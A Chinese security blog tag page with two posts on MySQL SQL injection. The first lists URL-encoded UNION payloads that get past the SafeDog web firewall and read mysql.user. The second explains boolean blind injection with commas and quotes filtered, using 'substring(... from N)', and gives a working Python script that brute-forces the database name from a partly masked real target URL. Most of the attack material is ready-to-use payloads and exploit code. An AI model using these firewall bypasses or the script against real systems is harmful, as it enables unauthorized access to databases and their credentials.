标签 mysql 下的文章

Mysql下Union注入Bypass安全狗过程


一次众测发现个注入,然后有安全狗就顺带看了下安全狗。

111.jpg

先fuzz看看安全狗拦截什么关键词
union select x,x 拦截

222.jpg

尝试用union函数 union(select 1,2,3) 拦截
union(%20select 1,2,3,4) 不拦截,注意select前面有个空格
之前出题的代码...懒得改了…中二。

333.jpg

union(%20select%201,(select%20user%20from%20mysql.user),3,4) p神说没有from就不算绕过,尝试用from注入被拦截。

444.jpg

union(%20select%201,(select%20user%20from(mysql.user)),3,4) 尝试把from换成函数,被拦截了。
想起来之前绕union函数前面带的空格,这里也尝试了下
union(%20select%201,(select%20user%20from(%20mysql.user)%20limit%202,1),3,4) 注意from函数里面第一位就是空格

555.jpg

实际上还有很多过狗的方法,我第一次跟P神交流的时候不是这个payload,那个payload还要长很多,但是P神说了重要的是过程,我再研究了下,发现这个payload比较短点,最后希望跟各位大师傅一起学习,最后的最后感谢下phithon师傅


记一次简单Mysql注入(布尔型过滤逗号,附python脚本)


#先感谢下@莲藕炖猪蹄和@redfree。姿势不在多,只要你的姿势正确欢迎来给我普及新知识。绝对虚心求教。

再就是标题党一回,今天碰到一个注入,过滤了逗号,sqlmap并没有跑出来,习惯性装逼手注一下。

过滤逗号的情况下布尔型注入可以用substring这个函数,正常用法substring(@@version,1,1)=5,猜@@version的第一位是5。

但是这里过滤了单引号,前段时间@莲藕炖猪蹄 大牛刚给我普及了一下,substring不用逗号也可以猜解的用法。

substring(database() from 1) 这样是猜解完整的数据库名字。

简单用本地数据库演示下。
1.jpg

一开始length(database())得到9
2.jpg

接下来猜数据库名称 substring(database() from 9) 这样猜解数据库名称最后一个字符
3.jpg

并没有猜出最后一位是什么字符…这特么就很尴尬了....刚开始只知道过滤逗号,当时就想到了应该是还过滤了什么关键词....

怎么判断过滤了什么字符?简单判断:length下当前的注入的语句,如果过滤了注入语句中的某个关键词肯定返回false。
4.jpg

已知DATA SIZE为3453为True。
5.jpg

这里证明没有过滤什么东西...

这个时候@redfree那边说他注入出来了...语法是一样的…我擦....
检查下python代码,redfree说他那边加了headers,如果不加headers就返回False...
这尼玛就很尴尬了...加上headers再跑下...

后面redfree说 注释方式有问题…我擦…以前是个开发狗没用过--注入,我多余的把—后面的%20删了,原来--后面后面是个单引号...也就是说--不是注释了。
查了下mysql手册 注意--注释风格要求你在--以后至少有一个空格!MySQL3.23.3和以上版本支持'--'注释风格,只要注释跟在一个空格之后。

好吧,加上%20果断就跑出来了...其实用%23可以不用加空格...
6.jpg

脚本如下:

#-*- coding:utf-8 -*-

import requests

payload = list('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_')

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 
    "Accept-Encoding": "gzip, deflate"
}

user = ''
num = 9
strings = '' 
for x in range(1,10):
    for y in payload:
        y  = y+strings
        url = "http://***.***.**.**/**/user/buyerChannel/indexNew?buyer_id=25966%%27)+AND+substring(database()+from+%d)=%%27%s%%27%%23&_=1466596215826" % (num,y)
        try:
            response = requests.get(url,headers=headers,timeout=5,verify=False)
            if response.content.find('****') != -1:#改成你想查找的关键词

                strings = y
                num -= 1
                print url
                break
        except Exception,e:
            pass
print '当前数据库名称为: ',
print strings